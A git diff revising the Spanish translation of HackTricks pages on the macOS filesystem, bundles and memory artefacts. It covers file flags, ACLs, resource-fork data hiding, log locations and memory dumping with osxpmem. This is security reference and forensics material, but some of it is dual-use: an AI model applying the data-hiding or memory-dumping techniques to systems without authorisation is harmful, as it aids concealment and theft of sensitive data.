Deberías encontrar principalmente archivos específicos de Apple aquí (no de terceros). * **/tmp**: Los archivos se eliminan después de 3 días (es un enlace simbólico a /private/tmp) -* **/Users**: Directorio principal para los usuarios. +* **/Users**: Directorio de inicio para los usuarios. * **/usr**: Configuración y binarios del sistema * **/var**: Archivos de registro * **/Volumes**: Las unidades montadas aparecerán aquí. -* **/.vol**: Al ejecutar `stat a.txt` obtienes algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` donde el primer número es el número de identificación del volumen donde existe el archivo y el segundo es el número de inodo. Puedes acceder al contenido de este archivo a través de /.vol/ con esa información ejecutando `cat /.vol/16777223/7545753` +* **/.vol**: Al ejecutar `stat a.txt` se obtiene algo como `16777223 7545753 -rw-r--r-- 1 nombredeusuario wheel ...` donde el primer número es el número de identificación del volumen donde se encuentra el archivo y el segundo es el número de inodo. Puedes acceder al contenido de este archivo a través de /.vol/ con esa información ejecutando `cat /.vol/16777223/7545753` ### Carpetas de Aplicaciones -* Las **aplicaciones del sistema** se encuentran bajo `/System/Applications` -* Las aplicaciones **instaladas** generalmente se instalan en `/Applications` o en `~/Applications` -* Los **datos de la aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y `~/Library/Application Support` para aplicaciones que se ejecutan como el usuario. -* Los **daemons** de aplicaciones de terceros que **necesitan ejecutarse como root** generalmente se ubican en `/Library/PrivilegedHelperTools/` -* Las aplicaciones **sandboxed** se mapean en la carpeta `~/Library/Containers`. Cada aplicación tiene una carpeta nombrada de acuerdo con el ID del paquete de la aplicación (`com.apple.Safari`). -* El **kernel** se encuentra en `/System/Library/Kernels/kernel` -* Las **extensiones del kernel de Apple** se encuentran en `/System/Library/Extensions` -* Las **extensiones del kernel de terceros** se almacenan en `/Library/Extensions` +* Las **aplicaciones del sistema** se encuentran en `/System/Applications` +* Las aplicaciones **instaladas** suelen estar en `/Applications` o en `~/Applications` +* Los datos de la **aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y en `~/Library/Application Support` para las aplicaciones que se ejecutan como el usuario. +* Los **daemons** de aplicaciones de terceros que **necesitan ejecutarse como root** suelen estar ubicados en `/Library/PrivilegedHelperTools/` +* Las aplicaciones **sandboxed** se mapean en la carpeta `~/Library/Containers`. Cada aplicación tiene una carpeta nombrada según el ID de paquete de la aplicación (`com.apple.Safari`). +* El **núcleo** se encuentra en `/System/Library/Kernels/kernel` +* Las **extensiones de kernel de Apple** se encuentran en `/System/Library/Extensions` +* Las **extensiones de kernel de terceros** se almacenan en `/Library/Extensions` ### Archivos con Información Sensible -MacOS almacena información como contraseñas en varios lugares: +macOS almacena información como contraseñas en varios lugares: {% content-ref url="macos-sensitive-locations.md" %} [macos-sensitive-locations.md](macos-sensitive-locations.md) @@ -60,7 +60,7 @@ MacOS almacena información como contraseñas en varios lugares: ## Extensiones Específicas de OS X * **`.dmg`**: Los archivos de imagen de disco de Apple son muy frecuentes para instaladores. -* **`.kext`**: Debe seguir una estructura específica y es la versión de OS X de un controlador. (es un paquete) +* **`.kext`**: Debe seguir una estructura específica y es la versión de OS X de un controlador (es un paquete). * **`.plist`**: También conocido como lista de propiedades, almacena información en formato XML o binario. * Puede ser XML o binario. Los binarios se pueden leer con: * `defaults read config.plist` @@ -68,9 +68,9 @@ MacOS almacena información como contraseñas en varios lugares: * `plutil -p ~/Library/Preferences/com.apple.screensaver.plist` * `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -` * `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` -* **`.app`**: Aplicaciones de Apple que siguen la estructura de directorios (Es un paquete). +* **`.app`**: Aplicaciones de Apple que siguen una estructura de directorio (es un paquete). * **`.dylib`**: Bibliotecas dinámicas (como los archivos DLL de Windows) -* **`.pkg`**: Son lo mismo que xar (formato de archivo extensible). El comando de instalación se puede usar para instalar el contenido de estos archivos. +* **`.pkg`**: Son iguales que xar (formato de archivo de archivo extensible). El comando installer se puede usar para instalar el contenido de estos archivos. * **`.DS_Store`**: Este archivo está en cada directorio, guarda los atributos y personalizaciones del directorio. * **`.Spotlight-V100`**: Esta carpeta aparece en el directorio raíz de cada volumen en el sistema. * **`.metadata_never_index`**: Si este archivo está en la raíz de un volumen, Spotlight no indexará ese volumen. @@ -78,19 +78,19 @@ MacOS almacena información como contraseñas en varios lugares: ### Paquetes de macOS -Básicamente, un paquete es una **estructura de directorio** dentro del sistema de archivos. Curiosamente, por defecto este directorio **parece un solo objeto en Finder** (como `.app`). +Un paquete es un **directorio** que **parece un objeto en Finder** (un ejemplo de paquete son los archivos `*.app`). {% content-ref url="macos-bundles.md" %} [macos-bundles.md](macos-bundles.md) {% endcontent-ref %} -## Dyld Shared Cache +## Caché Compartida de Dyld -En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks y dylibs, se **combinan en un solo archivo**, llamado **dyld shared cache**. Esto mejora el rendimiento, ya que el código se puede cargar más rápido. +En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks y dylibs, se **combinan en un solo archivo**, llamado la **caché compartida de dyld**. Esto mejora el rendimiento, ya que el código se puede cargar más rápido. -Similar al dyld shared cache, el kernel y las extensiones del kernel también se compilan en un caché del kernel, que se carga en el momento del arranque. +Al igual que la caché compartida de dyld, el núcleo y las extensiones del núcleo también se compilan en una caché de núcleo, que se carga en el arranque. -Para extraer las bibliotecas del archivo único dylib shared cache era posible usar el binario [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) que podría no estar funcionando hoy en día, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor): +Para extraer las bibliotecas del archivo único de la caché compartida de dylib, era posible usar el binario [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) que podría no estar funcionando en la actualidad, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor): {% code overflow="wrap" %} ```bash @@ -104,44 +104,44 @@ dyldex_all [dyld_shared_cache_path] # Extract all ``` {% endcode %} -En versiones anteriores, podrías ser capaz de encontrar la **caché compartida** en **`/System/Library/dyld/`**. +En versiones antiguas, es posible encontrar la **caché compartida** en **`/System/Library/dyld/`**. En iOS puedes encontrarlas en **`/System/Library/Caches/com.apple.dyld/`**. {% hint style="success" %} -Ten en cuenta que incluso si la herramienta `dyld_shared_cache_util` no funciona, puedes pasar el **binario dyld compartido a Hopper** y Hopper será capaz de identificar todas las bibliotecas y permitirte **seleccionar cuál** quieres investigar: +Ten en cuenta que incluso si la herramienta `dyld_shared_cache_util` no funciona, puedes pasar el **binario dyld compartido a Hopper** y Hopper podrá identificar todas las bibliotecas y permitirte **seleccionar cuál** quieres investigar: {% endhint %}
## Permisos Especiales de Archivos -### Permisos de carpetas +### Permisos de Carpetas -En una **carpeta**, **leer** permite **listarla**, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **atravesar** el directorio. Por lo tanto, por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde **no tiene permiso de ejecución** **no podrá leer** el archivo. +En una **carpeta**, **leer** permite **listarla**, **escribir** permite **borrar** y **escribir** archivos en ella, y **ejecutar** permite **atravesar** el directorio. Por lo tanto, por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde no tiene permiso de **ejecución no podrá leer** el archivo. -### Modificadores de banderas +### Modificadores de Bandera -Hay algunas banderas que se pueden establecer en los archivos que harán que el archivo se comporte de manera diferente. Puedes **verificar las banderas** de los archivos dentro de un directorio con `ls -lO /path/directory` +Existen algunas banderas que se pueden establecer en los archivos y que harán que el archivo se comporte de manera diferente. Puedes **verificar las banderas** de los archivos dentro de un directorio con `ls -lO /ruta/directorio` -* **`uchg`**: Conocida como bandera **uchange**, **evitará cualquier acción** que cambie o elimine el **archivo**. Para establecerla haz: `chflags uchg file.txt` -* El usuario root podría **eliminar la bandera** y modificar el archivo +* **`uchg`**: Conocida como bandera de **uchange** evitará que se realice cualquier acción de cambio o eliminación del **archivo**. Para establecerla haz: `chflags uchg archivo.txt` +* El usuario root podría **quitar la bandera** y modificar el archivo * **`restricted`**: Esta bandera hace que el archivo esté **protegido por SIP** (no puedes agregar esta bandera a un archivo). -* **`Sticky bit`**: Si un directorio con sticky bit, **solo** el **propietario del directorio o root pueden renombrar o eliminar** archivos. Típicamente esto se establece en el directorio /tmp para evitar que los usuarios ordinarios eliminen o muevan archivos de otros usuarios. +* **`Bit pegajoso`**: Si un directorio tiene el bit pegajoso, **solo** el **propietario de los directorios o root pueden renombrar o eliminar** archivos. Normalmente se establece en el directorio /tmp para evitar que los usuarios comunes eliminen o muevan archivos de otros usuarios. ### **ACLs de Archivos** -Las **ACLs** de archivos contienen **ACE** (Entradas de Control de Acceso) donde se pueden asignar **permisos más granulares** a diferentes usuarios. +Las **ACLs de archivos** contienen **ACE** (Entradas de Control de Acceso) donde se pueden asignar permisos más **granulares** a diferentes usuarios. -Es posible otorgar a un **directorio** estos permisos: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\ +Es posible otorgar a una **carpeta** estos permisos: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\ Y a un **archivo**: `read`, `write`, `append`, `execute`. -Cuando el archivo contiene ACLs encontrarás un "+" al listar los permisos como en: +Cuando el archivo contiene ACLs, verás un "+" al **listar los permisos como en**: ```bash ls -ld Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies ``` -Puedes **leer las ACLs** del archivo con: +Puedes **leer los ACLs** del archivo con: ```bash ls -lde Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies @@ -151,9 +151,9 @@ Puedes encontrar **todos los archivos con ACLs** con (esto es muuuy lento): ```bash ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` -### Resource Forks | macOS ADS +### Recursos de Horquillas | ADS de macOS -Esta es una forma de obtener **Alternate Data Streams en MacOS**. Puedes guardar contenido dentro de un atributo extendido llamado **com.apple.ResourceFork** dentro de un archivo guardándolo en **file/..namedfork/rsrc**. +Esto es una forma de obtener **Flujos de Datos Alternativos en las máquinas de MacOS**. Puedes guardar contenido dentro de un atributo extendido llamado **com.apple.ResourceFork** dentro de un archivo guardándolo en **file/..namedfork/rsrc**. ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc @@ -170,52 +170,52 @@ Puedes **encontrar todos los archivos que contienen este atributo extendido** co ```bash find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" ``` -## **Binarios universales y** formato Mach-o +{% endcode %} -Los binarios de Mac OS suelen compilarse como **binarios universales**. Un **binario universal** puede **soportar múltiples arquitecturas en el mismo archivo**. +## **Binarios universales y** Formato Mach-o + +Los binarios de Mac OS generalmente se compilan como **binarios universales**. Un **binario universal** puede **soportar múltiples arquitecturas en el mismo archivo**. {% content-ref url="universal-binaries-and-mach-o-format.md" %} [universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md) {% endcontent-ref %} -## Volcado de memoria en macOS +## Volcado de memoria de macOS {% content-ref url="macos-memory-dumping.md" %} [macos-memory-dumping.md](macos-memory-dumping.md) {% endcontent-ref %} -## Archivos de categoría de riesgo en Mac OS +## Archivos de Categoría de Riesgo de Mac OS -Los archivos `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` contienen el riesgo asociado a archivos dependiendo de la extensión del archivo. +El directorio `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` es donde se almacena información sobre el **riesgo asociado con diferentes extensiones de archivo**. Este directorio categoriza archivos en varios niveles de riesgo, influyendo en cómo Safari maneja estos archivos al descargarlos. Las categorías son las siguientes: -Las posibles categorías incluyen las siguientes: - -* **LSRiskCategorySafe**: **Totalmente** **seguro**; Safari lo abrirá automáticamente después de la descarga -* **LSRiskCategoryNeutral**: Sin advertencia, pero **no se abre automáticamente** -* **LSRiskCategoryUnsafeExecutable**: **Desencadena** una **advertencia** “Este archivo es una aplicación...” -* **LSRiskCategoryMayContainUnsafeExecutable**: Esto es para cosas como archivos comprimidos que contienen un ejecutable. **Desencadena una advertencia a menos que Safari pueda determinar que todo el contenido es seguro o neutral**. +- **LSRiskCategorySafe**: Los archivos en esta categoría se consideran **completamente seguros**. Safari abrirá automáticamente estos archivos después de ser descargados. +- **LSRiskCategoryNeutral**: Estos archivos no tienen advertencias y **no se abren automáticamente** en Safari. +- **LSRiskCategoryUnsafeExecutable**: Los archivos en esta categoría **generan una advertencia** que indica que el archivo es una aplicación. Esto sirve como una medida de seguridad para alertar al usuario. +- **LSRiskCategoryMayContainUnsafeExecutable**: Esta categoría es para archivos, como archivos comprimidos, que podrían contener un ejecutable. Safari **generará una advertencia** a menos que pueda verificar que todo el contenido es seguro o neutral. ## Archivos de registro -* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Contiene información sobre archivos descargados, como la URL de donde se descargaron. -* **`/var/log/system.log`**: Registro principal de los sistemas OSX. com.apple.syslogd.plist es responsable de la ejecución del registro del sistema (puedes verificar si está desactivado buscando "com.apple.syslogd" en `launchctl list`). -* **`/private/var/log/asl/*.asl`**: Estos son los registros del sistema de Apple que pueden contener información interesante. +* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Contiene información sobre archivos descargados, como la URL desde la que se descargaron. +* **`/var/log/system.log`**: Registro principal de los sistemas OSX. com.apple.syslogd.plist es responsable de la ejecución del registro del sistema (puedes verificar si está desactivado buscando "com.apple.syslogd" en `launchctl list`. +* **`/private/var/log/asl/*.asl`**: Estos son los Registros del Sistema Apple que pueden contener información interesante. * **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Almacena archivos y aplicaciones accedidos recientemente a través de "Finder". -* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Almacena elementos para lanzar al inicio del sistema -* **`$HOME/Library/Logs/DiskUtility.log`**: Archivo de registro para la aplicación DiskUtility (información sobre unidades, incluyendo USBs) +* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Almacena elementos para iniciar al arrancar el sistema. +* **`$HOME/Library/Logs/DiskUtility.log`**: Archivo de registro para la aplicación DiskUtility (información sobre unidades, incluidas las USB). * **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Datos sobre puntos de acceso inalámbricos. * **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Lista de demonios desactivados.
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index 19f2ced99..939b601e8 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -1,59 +1,74 @@ -# Paquetes macOS +# Paquetes de macOS
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Información Básica -Básicamente, un paquete es una **estructura de directorio** dentro del sistema de archivos. Curiosamente, por defecto este directorio **parece un objeto único en Finder**. +Los paquetes en macOS sirven como contenedores para una variedad de recursos que incluyen aplicaciones, bibliotecas y otros archivos necesarios, haciéndolos aparecer como objetos únicos en Finder, como los familiares archivos `*.app`. El paquete más comúnmente encontrado es el paquete `.app`, aunque también son prevalentes otros tipos como `.framework`, `.systemextension` y `.kext`. -El paquete **común** que encontraremos con frecuencia es el paquete **`.app`**, pero muchos otros ejecutables también están empaquetados como paquetes, tales como **`.framework`** y **`.systemextension`** o **`.kext`**. +### Componentes Esenciales de un Paquete -Los tipos de recursos contenidos dentro de un paquete pueden consistir en aplicaciones, bibliotecas, imágenes, documentación, archivos de cabecera, etc. Todos estos archivos están dentro de `.app/Contents/` -```bash +Dentro de un paquete, particularmente dentro del directorio `.app/Contents/`, se encuentran alojados una variedad de recursos importantes: + +- **_CodeSignature**: Este directorio almacena detalles de firma de código vitales para verificar la integridad de la aplicación. Puedes inspeccionar la información de firma de código usando comandos como: +%%%bash +openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 +%%% +- **MacOS**: Contiene el binario ejecutable de la aplicación que se ejecuta al interactuar con el usuario. +- **Resources**: Un repositorio para los componentes de la interfaz de usuario de la aplicación, incluidas imágenes, documentos y descripciones de interfaz (archivos nib/xib). +- **Info.plist**: Actúa como el archivo de configuración principal de la aplicación, crucial para que el sistema reconozca e interactúe con la aplicación de manera apropiada. + +#### Claves Importantes en Info.plist + +El archivo `Info.plist` es fundamental para la configuración de la aplicación, contiene claves como: + +- **CFBundleExecutable**: Especifica el nombre del archivo ejecutable principal ubicado en el directorio `Contents/MacOS`. +- **CFBundleIdentifier**: Proporciona un identificador global para la aplicación, utilizado extensamente por macOS para la gestión de aplicaciones. +- **LSMinimumSystemVersion**: Indica la versión mínima de macOS requerida para que la aplicación se ejecute. + +### Explorando Paquetes + +Para explorar el contenido de un paquete, como `Safari.app`, se puede utilizar el siguiente comando: +%%%bash ls -lR /Applications/Safari.app/Contents -``` -* `Contents/_CodeSignature` -> Contiene **información de firma de código** sobre la aplicación (es decir, hashes, etc.). -* `openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64` -* `Contents/MacOS` -> Contiene el **binario de la aplicación** (que se ejecuta cuando el usuario hace doble clic en el icono de la aplicación en la UI). -* `Contents/Resources` -> Contiene **elementos de la UI de la aplicación**, como imágenes, documentos y archivos nib/xib (que describen diversas interfaces de usuario). -* `Contents/Info.plist` -> El principal “**archivo de configuración**” de la aplicación. Apple señala que “el sistema depende de la presencia de este archivo para identificar información relevante sobre \[la] aplicación y cualquier archivo relacionado”. -* Los **archivos Plist** contienen información de configuración. Puedes encontrar información sobre el significado de las claves plist en [https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html) -* Pares que pueden ser de interés al analizar una aplicación incluyen:\\ +%%% -* **CFBundleExecutable** +Esta exploración revela directorios como `_CodeSignature`, `MacOS`, `Resources`, y archivos como `Info.plist`, cada uno sirviendo un propósito único desde asegurar la aplicación hasta definir su interfaz de usuario y parámetros operativos. -Contiene el **nombre del binario de la aplicación** (encontrado en Contents/MacOS). +#### Directorios Adicionales de Paquetes -* **CFBundleIdentifier** +Más allá de los directorios comunes, los paquetes también pueden incluir: -Contiene el identificador de paquete de la aplicación (a menudo utilizado por el sistema para **identificar globalmente** la aplicación). +- **Frameworks**: Contiene frameworks empaquetados utilizados por la aplicación. +- **PlugIns**: Un directorio para complementos y extensiones que mejoran las capacidades de la aplicación. +- **XPCServices**: Contiene servicios XPC utilizados por la aplicación para comunicación fuera del proceso. -* **LSMinimumSystemVersion** +Esta estructura asegura que todos los componentes necesarios estén encapsulados dentro del paquete, facilitando un entorno de aplicación modular y seguro. -Contiene la **versión más antigua** de **macOS** con la que la aplicación es compatible. +Para obtener información más detallada sobre las claves de `Info.plist` y sus significados, la documentación de desarrolladores de Apple proporciona recursos extensos: [Referencia de Claves Info.plist de Apple](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github. +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index c842917b3..45e48e4ae 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -1,35 +1,42 @@ -# Volcado de Memoria en macOS +# Volcado de memoria de macOS
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Artefactos de Memoria +## Artefactos de memoria -### Archivos de Intercambio +### Archivos de intercambio -* **`/private/var/vm/swapfile0`**: Este archivo se utiliza como **caché cuando la memoria física se llena**. Los datos en la memoria física se trasladan al archivo de intercambio y luego se vuelven a colocar en la memoria física si se necesitan de nuevo. Puede haber más de un archivo aquí. Por ejemplo, podrías ver swapfile0, swapfile1, y así sucesivamente. -* **`/private/var/vm/sleepimage`**: Cuando OS X entra en **hibernación**, **los datos almacenados en la memoria se colocan en el archivo sleepimage**. Cuando el usuario regresa y despierta la computadora, la memoria se restaura desde el sleepimage y el usuario puede continuar donde lo dejó. +Los archivos de intercambio, como `/private/var/vm/swapfile0`, sirven como **cachés cuando la memoria física está llena**. Cuando no hay más espacio en la memoria física, sus datos se transfieren a un archivo de intercambio y luego se devuelven a la memoria física según sea necesario. Pueden estar presentes varios archivos de intercambio, con nombres como swapfile0, swapfile1, y así sucesivamente. -Por defecto en los sistemas modernos de MacOS este archivo estará cifrado, por lo que podría no ser recuperable. +### Imagen de hibernación -* Sin embargo, el cifrado de este archivo podría estar desactivado. Comprueba la salida de `sysctl vm.swapusage`. +El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante el **modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando macOS hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, lo que permite al usuario continuar donde lo dejó. -### Volcando la memoria con osxpmem +Cabe destacar que en los sistemas MacOS modernos, este archivo suele estar encriptado por razones de seguridad, lo que dificulta la recuperación. -Para volcar la memoria en una máquina MacOS puedes usar [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip). +* Para verificar si la encriptación está habilitada para sleepimage, se puede ejecutar el comando `sysctl vm.swapusage`. Esto mostrará si el archivo está encriptado. -**Nota**: Las siguientes instrucciones solo funcionarán para Macs con arquitectura Intel. Esta herramienta ahora está archivada y la última versión fue en 2017. El binario descargado usando las instrucciones a continuación está dirigido a chips Intel ya que Apple Silicon no existía en 2017. Podría ser posible compilar el binario para la arquitectura arm64 pero tendrás que intentarlo por ti mismo. +### Registros de presión de memoria + +Otro archivo importante relacionado con la memoria en los sistemas MacOS son los **registros de presión de memoria**. Estos registros se encuentran en `/var/log` y contienen información detallada sobre el uso de memoria del sistema y eventos de presión. Pueden ser particularmente útiles para diagnosticar problemas relacionados con la memoria o comprender cómo el sistema gestiona la memoria con el tiempo. + +## Volcado de memoria con osxpmem + +Para volcar la memoria en una máquina MacOS, puedes usar [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip). + +**Nota**: Las siguientes instrucciones solo funcionarán para Macs con arquitectura Intel. Esta herramienta está archivada y la última versión fue en 2017. El binario descargado utilizando las instrucciones a continuación apunta a chips Intel ya que Apple Silicon no existía en 2017. Puede ser posible compilar el binario para arquitectura arm64, pero tendrás que intentarlo por ti mismo. ```bash #Dump raw format 